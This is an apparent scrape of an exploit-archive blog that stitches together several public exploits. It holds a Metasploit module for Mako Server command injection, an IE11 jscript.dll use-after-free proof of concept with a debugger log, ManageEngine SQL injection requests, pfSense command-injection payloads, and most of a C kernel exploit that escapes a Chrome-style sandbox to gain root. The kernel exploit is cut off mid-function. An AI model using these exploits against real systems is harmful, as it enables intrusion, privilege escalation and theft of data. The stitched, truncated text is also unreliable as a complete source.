##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Mako Server v2.5 OS Command Injection RCE',
'Description' => %q{
This module exploits a vulnerability found in Mako Server v2.5.
It's possible to inject arbitrary OS commands in the Mako Server
tutorial page through a PUT request to save.lsp.
Attacker input will be saved on the victims machine and can
be executed by sending a GET request to manage.lsp.
},
'License' => MSF_LICENSE,
'Author' =>
[
'John Page (hyp3rlinx) - Beyond Security SecuriTeam Secure Disclosure', # Vulnerability discovery & PoC
'Steven Patterson (Shogun Lab) <steven[at]shogunlab.com>' # Metasploit module
],
'References' =>
[
['EDB', '42683'],
['URL', 'https://blogs.securiteam.com/index.php/archives/3391']
],
'Arch' => ARCH_CMD,
'Platform' => 'win',
'Targets' =>
[
['Mako Server v2.5 - Windows x86/x64', { }]
],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => 'Sep 3 2017'))
register_options(
[
OptString.new('URI', [true, 'URI path to the Mako Server app', '/'])
]
)
end
def check
vprint_status('Trying to detect running Mako Server and necessary files...')
# Send GET request to determine existence of save.lsp page
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['URI'], 'examples/save.lsp')
}, 20)
# If response does not include "MakoServer.net", target is not viable.
if res.headers['Server'] !~ /MakoServer.net/
vprint_warning('Target is not a Mako Server.')
return CheckCode::Safe
end
if res.body
if res.body =~ /Incorrect usage/
# We are able to determine that the server has a save.lsp page and
# returns the correct output.
vprint_status('Mako Server save.lsp returns correct ouput.')
return CheckCode::Appears
else
# The page exists, but is not returning the expected output.
# May be a different version?
vprint_warning('Mako Server save.lsp did not return expected output.')
return CheckCode::Detected
end
else
# The above checks failed and exploitability could not be determined.
vprint_error('Unable to determine exploitability, save.lsp not found.')
return CheckCode::Unknown
end
return CheckCode::Safe
end
def exploit
print_status('Sending payload to target...')
# The double square brackets helps to ensure single/double quotes
# in cmd payload do not interfere with syntax of os.execute Lua function.
cmd = %{os.execute([[#{payload.encoded}]])}
# If users want to troubleshoot their cmd payloads, they can see the
# Lua function with params that the module uses in a more verbose mode.
vprint_status("Now executing the following command: #{cmd}")
# Send a PUT request to save.lsp with command payload
begin
vprint_status('Sending PUT request to save.lsp...')
send_request_cgi({
'method' => 'PUT',
'uri' => normalize_uri(datastore['URI'], 'examples/save.lsp?ex=2.1'),
'ctype' => 'text/plain',
'data' => cmd,
'http' => {
'X-Requested-With' => 'XMLHttpRequest',
'Referer' => 'http://localhost/Lua-Types.lsp'
}
}, 20)
rescue StandardError => e
fail_with(Failure::NoAccess, "Error: #{e}")
end
# Send a GET request to manage.lsp with execute set to true
begin
vprint_status('Sending GET request to manage.lsp...')
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['URI'], 'examples/manage.lsp?execute=true&ex=2.1&type=lua')
}, 20)
rescue StandardError => e
fail_with(Failure::NoAccess, "Error: #{e}")
end
end
end
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863552250
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1340
There is a use-after-free in jscript.dll library that can be exploited in IE11.
jscript.dll is an old JavaScript library that was used in IE 8 and back. However, IE11 can still load it if put into IE8 compatibility mode and if there is a script tag that can only be understood by the older library (specifically, a script tag with language="Jscript.Encode" attribute will do the trick).
PoC:
=========================================
-->
<!-- saved from url=(0014)about:internet -->
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=8"></meta>
</head>
<body>
<script language="Jscript.Encode">
var e = new Error();
var o = {toString:function() {
//alert('in toString');
e.name = 1;
CollectGarbage();
//reallocate
for(var i=0;i<100;i++) {
e.name = {};
}
return 'b';
}};
e.name = Array(1000).join('a');
e.message = o;
//alert('calling JsErrorToString');
var result = e.toString();
//alert('boom');
alert(result);
</script>
</body>
</html>
<!--
=========================================
This is a use-after-free in jscript!JsErrorToString that can lead to a heap overflow. (The PoC above crashes in memcpy when attempting to copy a large amount of data).
When JsErrorToString runs, it tries to concatenate “name” and “message” properties of an Error object into an AString object (AString is a string type that is implemented as a list of simpler string parts). First the function converts both “name” and “message” properties to strings using the ConvertToString function, however the second call to ConvertToString can trigger a callback (via toString) and delete the “name” string.
Later, when AString is converted to the BString in AString::ConvertToBSTR, the size of the result BString could be calculated incorrectly which can lead to a heap overflow.
Debug log:
=========================================
(10b8.1364): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000003 ebx=00000006 ecx=dcbabbb8 edx=00000003 esi=e6e8bb7f edi=e900fb9b
eip=751c9a6c esp=09dfbdfc ebp=09dfbe04 iopl=0 nv up ei ng nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010286
msvcrt!memcpy+0x270:
751c9a6c 8a4603 mov al,byte ptr [esi+3] ds:002b:e6e8bb82=??
0:008> k
# ChildEBP RetAddr
00 09dfbe04 7013c367 msvcrt!memcpy+0x270
01 09dfbe28 7013c3df jscript!AString::ConvertToBSTR+0x86
02 09dfbe30 7013eeff jscript!VAR::ConvertASTRtoBSTR+0x13
03 09dfbe6c 7013af84 jscript!InvokeDispatch+0x424
04 09dfbf38 7013aefe jscript!InvokeDispatchEx+0x7a
05 09dfbf68 701244a7 jscript!VAR::InvokeByDispID+0x90
06 09dfc360 701248ff jscript!CScriptRuntime::Run+0x12b9
07 09dfc45c 70124783 jscript!ScrFncObj::CallWithFrameOnStack+0x15f
08 09dfc4b4 70124cc3 jscript!ScrFncObj::Call+0x7b
09 09dfc558 70133797 jscript!CSession::Execute+0x23d
0a 09dfc5a0 70135353 jscript!COleScript::ExecutePendingScripts+0x16b
0b 09dfc61c 70135139 jscript!COleScript::ParseScriptTextCore+0x206
0c 09dfc648 6bcecf1c jscript!COleScript::ParseScriptText+0x29
0d 09dfc680 6bced6da MSHTML!CActiveScriptHolder::ParseScriptText+0x51
0e 09dfc6f0 6ba5f185 MSHTML!CScriptCollection::ParseScriptText+0x1c6
0f 09dfc7dc 6ba5ecf7 MSHTML!CScriptData::CommitCode+0x31e
10 09dfc85c 6ba5f8bd MSHTML!CScriptData::Execute+0x232
11 09dfc87c 6bced030 MSHTML!CHtmScriptParseCtx::Execute+0xed
12 09dfc8d0 6bcf8265 MSHTML!CHtmParseBase::Execute+0x201
13 09dfc8ec 6b76388c MSHTML!CHtmPost::Broadcast+0x18e
14 09dfca24 6b894a9d MSHTML!CHtmPost::Exec+0x617
15 09dfca44 6b894a03 MSHTML!CHtmPost::Run+0x3d
16 09dfca60 6b89c1e5 MSHTML!PostManExecute+0x61
17 09dfca74 6b89d578 MSHTML!PostManResume+0x7b
18 09dfcaa4 6b796dbc MSHTML!CHtmPost::OnDwnChanCallback+0x38
19 09dfcabc 6b6d5b90 MSHTML!CDwnChan::OnMethodCall+0x2f
1a 09dfcb0c 6b6d577a MSHTML!GlobalWndOnMethodCall+0x16c
1b 09dfcb60 760f62fa MSHTML!GlobalWndProc+0x103
1c 09dfcb8c 760f6d3a user32!InternalCallWinProc+0x23
1d 09dfcc04 760f77c4 user32!UserCallWinProcCheckWow+0x109
1e 09dfcc64 760f788a user32!DispatchMessageWorker+0x3b5
1f 09dfcc74 6cada8ec user32!DispatchMessageW+0xf
20 09dffe40 6cb056d8 IEFRAME!CTabWindow::_TabWindowThreadProc+0x464
21 09dfff00 76ab2f5c IEFRAME!LCIETab_ThreadProc+0x3e7
22 09dfff18 74693a31 iertutil!CMemBlockRegistrar::_LoadProcs+0x67
23 09dfff50 7667336a IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x94
24 09dfff5c 77379902 kernel32!BaseThreadInitThunk+0xe
25 09dfff9c 773798d5 ntdll!__RtlUserThreadStart+0x70
26 09dfffb4 00000000 ntdll!_RtlUserThreadStart+0x1b
=========================================
-->
ManageEngine Applications Manager version 13 suffers from multiple post-authentication SQL injection vulnerabilities.
Proof of Concept 1 (name= parameter is susceptible):
POST /manageApplications.do?method=insert HTTP/1.1
Host: 192.168.1.190:9090
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,pl;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 407
Referer: http://192.168.1.190:9090/admin/createapplication.do?method=createapp&grouptype=1
Cookie: testcookie=; am_username=; am_check=; liveapm-_zldp=IEKA1hnqJESNNXc4I4Ts1omY%2FiCOo47Ch6sZEoC7bRr4SfuGTOVfjv2JZAH6cun8; liveapm-_zldt=cfa03604-1dc4-4155-86f7-803952114141; diagnosticsAlarmTable_sortdir=down; JSESSIONID_APM_9090=A16B99B2C0C09EB6060B4372660CFBC3
Connection: close
Upgrade-Insecure-Requests: 1
org.apache.struts.taglib.html.TOKEN=66ef9ed22c8b3a67da50e905f7735abd&addmonitors=0&name=My+App2&description=Description....This+service+is+critical+to+our+business&grouptype=1&mgtypestatus%231001=on&mgtypes_1001=1&mgtypes_1007=0&mgtypes_1008=0&mgtypestatus%231002=on&mgtypes_1002=1&mgtypestatus%231003=on&mgtypes_1003=1&mgtypestatus%231004=on&mgtypes_1004=1&mgtypestatus%231006=on&mgtypes_1006=1&locationid=
Proof of Concept 2 (crafted viewProps yCanvas field):
POST /GraphicalView.do? HTTP/1.1
Host: 192.168.1.191:9090
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,pl;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.191:9090/GraphicalView.do?&method=createBusinessService
Content-Length: 457
Cookie: JSESSIONID_APM_9090=53E8EBC71177607C3A7FE03EB238887E
Connection: close
&method=saveBusinessViewPropsForADDM&viewProps={"displayProps":{"showLabel":true,"showOnlyMGs":false,"showOnlyTopMGs":false,"showOnlyCritical":false,"showOnlyMGStatus":false,"backgroundColorVal":"#FFFFFF","lineColorVal":"#888c8f","textColorVal":"#444444","lineThickness":"2.5","lineTransparency":1,"xCanvas":-23.089912210349002,"yCanvas":0},"coordinates":"{\"totalNumberOfNodes\":0,\"nodeIdList\":[]}"}&haid=10000106&nodeIdVsResourceId={"node_1":"10000106"}
Proof of Concept 3:
POST /GraphicalView.do HTTP/1.1
Host: 192.168.1.191:9090
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,pl;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.191:9090/showapplication.do?haid=10000106&method=showApplication&selectM=flashview&viewid=1
Content-Length: 101
Cookie: JSESSIONID_APM_9090=68C19C45D63C6FD102EB3DF25A8CE39D; testcookie=; am_username=; am_check=; am_mgview=availability
Connection: close
method=getLatestStatusForJIT&haid=10000106&viewid=1¤time=1509869908111&resourceIDs=(0000106,0)
# Exploit Title: pfSense <= 2.3.1_1 Post-Auth Command Execution
# Date: 11-06-2017
# Exploit Author: s4squatch (Scott White - www.trustedsec.com)
# Vendor Homepage: https://www.pfsense.org
# Version: 2.3-RELEASE
# Vendor Security Advisory: https://www.pfsense.org/security/advisories/pfSense-SA-16_08.webgui.asc
1. Description
pfSense <= 2.3.1_1 is affected by a post-authetication os command injection vulnerability in auth.inc via the /system_groupmanager.php page (System menu-->User Manager-->Groups) in the handling of the members[] parameter. This allows an authenticated WebGUI user with
privileges for system_groupmanager.php to execute commands in the context of the root user.
2. Proof of Concept
'`ifconfig>/usr/local/www/ifconfig.txt`'
'`whoami>/usr/local/www/whoami.txt`'
Command output can then be viewed at the webroot:
http://<address>/ifconfig.txt
http://<address>/whoami.txt
Another POC: 0';/sbin/ping -c 10 192.168.1.125;'
3. Solution
Upgrade to the latest version of pfSense (2.3.1_5 on is fixed). This may be performed in the web interface or from
the console. See https://doc.pfsense.org/index.php/Upgrade_Guide Furthermore, the issues can be mitigated by restricting access to the firewall GUI both with firewall rules and by not allowing untrusted users to have accounts with GUI access, and by not granting untrusted administrators access to the pages in question.
Issue was responsibly disclosed to pfSense (security@pfsense.org) on 06/08/2016 and fixed 06/09/2016!
Thank you to Jim P and the pfSense team for the impressive response time.
// Proof of concept exploit for waitid bug introduced in Linux Kernel 4.13
// By Chris Salls (twitter.com/chris_salls)
// This exploit can be used to break out out of sandboxes such as that in google chrome
// In this proof of concept we install the seccomp filter from chrome as well as a chroot,
// then break out of those and get root
// Bypasses smep and smap, but is somewhat unreliable and may crash the kernel instead
// offsets written and tested on ubuntu 17.10-beta2
/*
salls@ubuntu:~/x$ uname -a
Linux ubuntu 4.13.0-12-generic #13-Ubuntu SMP Sat Sep 23 03:40:16 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
salls@ubuntu:~/x$ gcc poc_smap_bypass.c -lpthread -o poc
salls@ubuntu:~/x$ ./poc
Installed sandboxes. Seccomp, chroot, uid namespace
for spray assuming task struct size is 5952
check in /sys/kernel/slab/task_struct/object_size to make sure this is right
If it's wrong the exploit will fail
found kernel base 0xffffffff87600000
found mapping at 0xffff8eb500000000
found mapping end at 0xffff8eb5a0000000
9999 threads created
found second mapping at 0xffff8eb600000000
found second mapping end at 0xffff8eb750000000
last_mapping is 0x150000000 bytes
min guess ffff8eb650000000
starting guessing
this part can take up to a minute, or crash the machine :)
found my task at 0xffff8eb67555dd00
joining threads
part 2 start
mapped 0x100000000
trying to find physmap mapping
found mapping at 0xffff8eb500000000
f213000 changed to 0
page locked!
detected change at 0xffff8eb658000000
physmap addr is good
here we go
trying to call system...
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),118(lpadmin),128(sambashare),1000(salls)
# head /etc/shadow
root:!:17447:0:99999:7:::
daemon:*:17435:0:99999:7:::
*/
/****** overview of exploit ********
waitid uses unsafe_put_user without checking access_ok,
allowing the user to give a kernel address for infop and write over kernel memory.
when given invalid parameters this just writes the following 32 bit integers
0, 0, 0, _, 0, 0, 0
(the 4th element is unchanged)
inside the chrome sandbox we cannot fork (can only make threads)
so we can only give invalid parameters to waitid and only write 0's to kernel memory,
To exploit this in the presence of smap:
I start out by iteratively calling waitid until we find the kernel's base address
When it's found it will not return efault error from the syscall
Now, I can only write 0's at this point, so I spray 10000 threads and attempt
to write 0's over the beginning of the task struct to unset the seccomp flag
This part is kind of unreliable and depends on the size of the task struct which
changes based on cpu.
If it succceeds, I now know where the task struct is and no longer have seccomp
By shifting the location of the write and using the pid of the child process, I
can now write 5 consecutive arbitrary non-zero bytes. So I can create an address
with this bitmask 0xffffffffff000000
Now to create data at such an address I use the physmap, a mirror of all userland
pages that exists in kernel memory. Mmap a large amount of memory, try writing at
various places in the physmap until we see userland memory change. Then mlock that
page.
With controlled data in the kernel, I use the 5 byte write described above to change
our task->files to point at the controlled page. This give me control of the file
operations and arbitrary read/write.
From here, I remove the chroot and edit my creds to make that thread root.
*/
#define _GNU_SOURCE
#include <stdlib.h>
#include <errno.h>
#include <wait.h>
#include <string.h>
#include <stdio.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <seccomp.h>
#include <stdlib.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <linux/filter.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <stdarg.h>
#include <sys/mman.h>
#include <sched.h>
#include <pthread.h>
#include <linux/sched.h>
#include <linux/futex.h>
#include <limits.h>
#include <sys/ioctl.h>
#define PR_SET_NO_NEW_PRIVS 38
#define __NR_seccomp 317
#define SECCOMP_SET_MODE_FILTER 1
/************ task offsets *************/
// from prctl_get_seccomp
#define OFFSET_OF_SECCOMP_MODE 2920
#define OFFSET_OF_SECCOMP 2928
// from ptrace_access_vm
#define OFFSET_OF_PARENT 2328
// from sys_getcwd
#define OFFSET_OF_FS 2784
// from __fget_light
#define OFFSET_OF_FILES 2792
// from
#define OFFSET_OF_NSPROXY 2800
// from do_acct_process
#define OFFSET_OF_SIGNAL 2808
// from sys_getuid
#define OFFSET_OF_TASK_CRED 2720
// from get_task_comm
#define OFFSET_OF_COMM 2728
// from __put_task_struct
#define OFFSET_OF_TASK_USAGE 72
// from keyctl_session_to_parent
#define OFFSET_OF_THREAD_GROUP 2480
/******* files offsets ********/
// from fput
#define OFFSET_OF_F_COUNT 56
// from free_file_rcu
#define OFFSET_OF_F_CRED 144
// from file_alloc_security
#define OFFSET_OF_F_SECURITY 192
//
#define OFFSET_OF_F_INODE 32
/****** inode offsets *********/
#define OFFSET_OF_IFLAGS 12
// should assert nsproxy = files+8
// and fs = files-8
// since that's why we need to fix them up
// nsproxy offsets
#define OFFSET_OF_NS_COUNT 0
// fs offset
#define OFFSET_OF_FS_COUNT 0
// cred offsets
#define CRED_UID_OFF 4
#define CRED_ID_SIZE 32
#define CRED_CAP_OFF 40
#define CRED_CAP_SIZE 40
#define CRED_NS_OFF 136
#define OFFSET_OF_CRED_SECURITY 120
#define FMODE_LSEEK 4
// global offsets
#define KERNEL_BASE_DEFAULT 0xFFFFFFFF81000000
// in cache_seq_next
// mov rax, [rsi]; ret
#define ARB_READ_GADGET_OFF (0xffffffff8109d2b2-KERNEL_BASE_DEFAULT)
// in device_wakeup_attach_irq
// mov [rdx], esi; ret
#define ARB_WRITE_GADGET_OFF (0xffffffff810da932-KERNEL_BASE_DEFAULT)
#define SELINUX_ENFORCING_OFF (0xffffffff824d1394-KERNEL_BASE_DEFAULT)
#define INIT_USER_NS (0xffffffff81e508a0-KERNEL_BASE_DEFAULT)
#define INIT_FS (0xffffffff81f23480-KERNEL_BASE_DEFAULT)
// operations offsets in qwords
#define OFFSET_LSEEK 1
#define OFFSET_IOCTL 9
// 4.13+
// where read/write data is in kernel
// had to play with last 3 nibbles to get it to not crash
#define start_rw_off 0x9f5fe0
// a global for the f_op in userspace
unsigned long *f_op;
struct PagePair {
unsigned long userland_page;
unsigned long kernel_page;
};
unsigned long kernel_base;
void do_exploit_2(unsigned long task_addr);
void get_physmap(struct PagePair *pp);
// global for threads
#define NUM_THREAD_SPRAY 10000
pthread_t g_threads[NUM_THREAD_SPRAY];
/********** HELPERS *************/
void raw_input() {
int i;
printf("> ");
read(0, (char*)&i, 4);
}
int write_file(const char* file, const char* what, ...)
{
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1) {
perror("open");
return 0;
}
if (write(fd, buf, len) != len) {
close(fd);
return 0;
}
close(fd);
return 1;
}
static inline void native_cpuid(unsigned int *eax, unsigned int *ebx,
unsigned int *ecx, unsigned int *edx)
{
/* ecx is often an input as well as an output. */
asm volatile("cpuid"
: "=a" (*eax),
"=b" (*ebx),
"=c" (*ecx),
"=d" (*edx)
: "0" (*eax), "2" (*ecx));
}
void install_mock_chrome_sandbox() {
char *buffer = NULL;
long length;
FILE *f = fopen ("chrome_seccomp_filter", "rb");
if (f)
{
fseek(f, 0, SEEK_END);
length = ftell (f);
fseek(f, 0, SEEK_SET);
buffer = malloc(length);
if (buffer)
{
fread(buffer, 1, length, f);
}
fclose(f);
}
else {
printf("couldn't open chrome_seccomp_filter\n");
exit(-1);
}
if (length%8 != 0) {
printf("length mod 8 != 0?\n");
exit(-1);
}
// set up namespace
int real_uid = 1000;
int real_gid = 1000;
int has_newuser = 1;
if (unshare(CLONE_NEWUSER) != 0) {
perror("unshare(CLONE_NEWUSER)");
printf("no new user...\n");
has_newuser = 0;
}
if (unshare(CLONE_NEWNET) != 0) {
perror("unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (has_newuser && !write_file("/proc/self/setgroups", "deny")) {
perror("write_file(/proc/self/set_groups)");
exit(EXIT_FAILURE);
}
if (has_newuser && !write_file("/proc/self/uid_map", "1000 %d 1\n", real_uid)){
perror("write_file(/proc/self/uid_map)");
exit(EXIT_FAILURE);
}
if (has_newuser && !write_file("/proc/self/gid_map", "1000 %d 1\n", real_gid)) {
perror("write_file(/proc/self/gid_map)");
exit(EXIT_FAILURE);
}
// chroot
if (chroot("/proc/self/fdinfo")) {
perror("chroot");
exit(EXIT_FAILURE);
}
// remove .?
// how did they remove that dir..
// set uid
if (!has_newuser){
if (setgid(1000)) {
perror("setgid");
exit(EXIT_FAILURE);
}
if (setuid(1000)) {
perror("setuid");
exit(EXIT_FAILURE);
}
}
// no new privs
int res = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
if (res) {
printf("no new privs failed? %d\n", res);
}
// filter
struct sock_fprog prog = {
.len = (unsigned short) (length/8),
.filter = (void*)buffer,
};
// install filter
if (syscall(__NR_seccomp, SECCOMP_SET_MODE_FILTER, 0, &prog)) {
perror("seccomp");
exit(-2);
}
printf("Installed sandboxes. Seccomp, chroot, uid namespace\n");
}
// futex wrapper
static int futex(void *uaddr, int futex_op, int val,
const struct timespec *timeout, int *uaddr2, int val3) {
return syscall(SYS_futex, uaddr, futex_op, val, timeout, uaddr, val3);
}
/***********EXPLOIT CODE************/
pthread_attr_t thread_attr;
unsigned long get_base() {
// first we try doing our arb write to find the system base address
// if syscall is 0 we didn't fault
unsigned long start = 0xffffffff00000000;
unsigned long inc = 0x0000000000100000;
unsigned long guess = start;
while (guess != 0) {
int res = syscall(SYS_waitid, P_ALL, 0, guess+start_rw_off, WEXITED, NULL);
if (errno != 14) {
printf("found kernel base 0x%lx\n", guess);
kernel_base = guess;
return guess;
}
guess += inc;
}
printf("failed to find base address...");
return -1;
}
int threads_run;
int barrier2;
int barrier1;
unsigned long g_addr_guess;
unsigned long mapping_begin;
unsigned long mapping_end;
int found_one = 0;
void *thread_guy(void *arg) {
// this thread continuously checks if the seccomp filter was removed
// if so we can move onto the part 2 of the exploit
// we check if the spray worked before and after each barrier
while (1) {
if (found_one) {
syscall(SYS_exit, 0);
}
// wait on barrier1
int res = futex(&barrier1, FUTEX_WAIT, 0, NULL, NULL, 0);
if (found_one) {
syscall(SYS_exit, 0);
}
long curr_addr = g_addr_guess;
__atomic_fetch_add(&threads_run, 1, __ATOMIC_SEQ_CST);
// check if opening /dev/random does not return the error code from seccomp
// it will still fail because of the chroot, but have a different error
int fd = open("/dev/random", O_RDONLY);
if (errno != 1) {
// FOUND
printf("found my task at 0x%lx\n", curr_addr);
found_one = 1;
do_exploit_2(curr_addr);
return NULL;
}
// wait for barrier 2
if (found_one) {
syscall(SYS_exit, 0);
}
futex(&barrier2, FUTEX_WAIT, 0, NULL, NULL, 0);
if (found_one) {
syscall(SYS_exit, 0);
}
__atomic_fetch_add(&threads_run, 1, __ATOMIC_SEQ_CST);
}
}
int num_threads = 0;
long spray_offset;
void unseccomp() {
// first we spin up a lot of threads
// let's try 10k
// and then we try overwriting the TIF_SECCOMP flag in the task struct
int i;
unsigned long curr_guess = 0xffff800000000000;
int j;
while(1) {
// try writing
int res = syscall(SYS_waitid, P_ALL, 0, curr_guess+0xfe0, WEXITED, NULL);
if (errno != 14) {
mapping_begin = curr_guess;
printf("found mapping at %p\n", (void*)curr_guess);
break;
}
curr_guess += 0x10000000;
}
// check if mapping extends higher?
while(1) {
curr_guess += 0x10000000;
// try writing
int res = syscall(SYS_waitid, P_ALL, 0, curr_guess+0xfe0, WEXITED, NULL);
if (errno == 14) {
printf("found mapping end at %p\n", (void*)curr_guess);
mapping_end = curr_guess;
curr_guess -= 0x10000000;
break;
}
}
// start threads
barrier1 = 0;
barrier2 = 0;
for (i = 0; i < NUM_THREAD_SPRAY; i++) {
num_threads = i;
if(pthread_create(&g_threads[i], &thread_attr, thread_guy, NULL)) {
printf("pthread create error\n");
printf("%d\n", i);
break;
}
}
printf("%d threads created\n", num_threads);
/***** find the kernel heap *******/
unsigned long last_mapping_start;
unsigned long last_mapping_end;
unsigned long second_mapping;
unsigned long second_mapping_end;
usleep(100000);
while(1) {
curr_guess += 0x10000000;
// try writing
int res = syscall(SYS_waitid, P_ALL, 0, curr_guess+0xfe0, WEXITED, NULL);
if (errno != 14) {
printf("found second mapping at %p\n", (void*)curr_guess);
//mapping_end = curr_guess;
second_mapping = curr_guess;
last_mapping_start = second_mapping;
curr_guess -= 0x10000000;
break;
}
}
while(1) {
curr_guess += 0x10000000;
// try writing
int res = syscall(SYS_waitid, P_ALL, 0, curr_guess+0xfe0, WEXITED, NULL);
if (errno == 14) {
printf("found second mapping end at %p\n", (void*)curr_guess);
second_mapping_end = curr_guess;
last_mapping_end = second_mapping_end;
curr_guess -= 0x10000000;
break;
}
}
unsigned long third_mapping = 0;
unsigned long third_mapping_end;
usleep(100000);
while(curr_guess < second_mapping_end+0x100000000) {
curr_guess += 0x10000000;
// try writing
int res = syscall(SYS_waitid, P_ALL, 0, curr_guess+0xfe0, WEXITED, NULL);
if (errno != 14) {
printf("found third mapping at %p\n", (void*)curr_guess);
third_mapping = curr_guess;
last_mapping_start = third_mapping;
curr_guess -= 0x10000000;
break;
}
}
if (third_mapping) {
while(1) {
curr_guess += 0x10000000;
// try writing
int res = syscall(SYS_waitid, P_ALL, 0, curr_guess+0xfe0, WEXITED, NULL);
if (errno == 14) {
printf("found third mapping end at %p\n", (void*)curr_guess);
third_mapping_end = curr_guess;
last_mapping_end = third_mapping_end;
curr_guess -= 0x10000000;
break;
}
}
}
/***** done finding the kernel heap *******/
/****** start overwriting from low addresses to high and hope we unset the seccomp flag ******/
// some start guess found by experimenting, could be very wrong on some systems
curr_guess = last_mapping_end-0x100000000;
printf("last_mapping is 0x%lx bytes\n", last_mapping_end-last_mapping_start);
printf("min guess %lx\n", curr_guess);
printf("starting guessing\n");
printf("this part can take up to a minute, or crash the machine :)\n");
i = 0;
while(!found_one) {
curr_guess += 0x800000;
unsigned long guess_val = curr_guess + spray_offset;
// try writing
syscall(SYS_waitid, P_ALL, 0, guess_val-26, WEXITED, NULL);
g_addr_guess = guess_val;
// let the threads check
barrier2 = 0;
threads_run = 0;
barrier1 = 1;
futex(&barrier1, FUTEX_WAKE, INT_MAX, NULL, NULL, 0);
while(threads_run < num_threads) {
if (found_one) {
// one of the threads is free from seccomp
// wake from barriers first
barrier1=1;
barrier2=1;
futex(&barrier1, FUTEX_WAKE, INT_MAX, NULL, NULL, 0);
futex(&barrier2, FUTEX_WAKE, INT_MAX, NULL, NULL, 0);
printf("joining threads\n");
for(i = 0; i < num_threads; i++) {
pthread_join(g_threads[i], NULL);
}
printf("done joining threads\n");
sleep(1000);
}
usleep(10000);
}
// make sure threads are reset
barrier2 = 1;
barrier1 = 0;
futex(&barrier2, FUTEX_WAKE, INT_MAX, NULL, NULL, 0);
while(threads_run < num_threads*2) {
if (found_one) {
printf("apparently we found one sleep forever\n");
// wake from barriers first
barrier1=1;
barrier2=1;
futex(&barrier1, FUTEX_WAKE, INT_MAX, NULL, NULL, 0);
futex(&barrier2, FUTEX_WAKE, INT_MAX, NULL, NULL, 0);
printf("joining threads\n");
for(i = 0; i < num_threads; i++) {
pthread_join(g_threads[i], NULL);
}
printf("done joining threads\n");
sleep(100000);
}
usleep(10000);
}
threads_run = 0;
barrier2 = 0;
i += 1;
}
}
int just_exit(void *arg) {
return 0;
}
int done_overwrite;
long new_stack[10000];
void write_5(unsigned long addr, unsigned long val) {
// uses waitid with pid to write a 5 byte value
// clobbers a lot of adjacent memory, mostly with 0's
long fake_info[20];
if(val & 0xffffff) {
printf("cannot write that val\n");
exit(-1);
}
//fork exit until pid is good
int i = 0;
for(i = 3; i < 8; i++) {
int to_write = (val >> (8*i)) & 0xff;
while(1) {
// get pid ending in to_write
//int pid = fork();
// to make super fast we clone VM instead of regular fork
// int pid = syscall(SYS_clone, CLONE_VM | CLONE_CHILD_SETTID | CLONE_CHILD_CLEARTID | SIGCHLD, &new_stack[200], NULL, 0, 0);
int pid = clone(just_exit, &new_stack[5000], CLONE_VM | SIGCHLD, NULL);
if (!pid) {
exit(0);
}
if ((pid & 0xff) == to_write) {
syscall(SYS_waitid, P_PID, pid, addr-16+i, WEXITED, NULL);
break;
}
else {
syscall(SYS_waitid, P_PID, pid, fake_info, WEXITED, NULL);
}
}
}
}
// functions for once we control ops
unsigned long read_addr(unsigned long addr) {
f_op[OFFSET_LSEEK] = ARB_READ_GADGET_OFF + kernel_base;
return syscall(SYS_lseek, 0, addr, SEEK_SET);
}
void mem_read(unsigned long addr, void *buf, unsigned long bytes) {
unsigned long i = 0;
char *cbuf = (char*)buf;
for(i = 0; i < bytes; i+= 8) {
unsigned long got = read_addr(addr+i);
if (i+8 > bytes) {
unsigned long j = 0;
for(j = i; j < bytes; j++) {
cbuf[j] = (char)got&0xff;
got >>= 8;
}
}
else {
*(long*)(cbuf+i) = got;
}
}
}
void write_addr4(unsigned long addr, unsigned int val) {
f_op[OFFSET_IOCTL] = ARB_WRITE_GADGET_OFF+kernel_base;
ioctl(0, val, addr);
}
void write_addr(unsigned long addr, unsigned long val) {
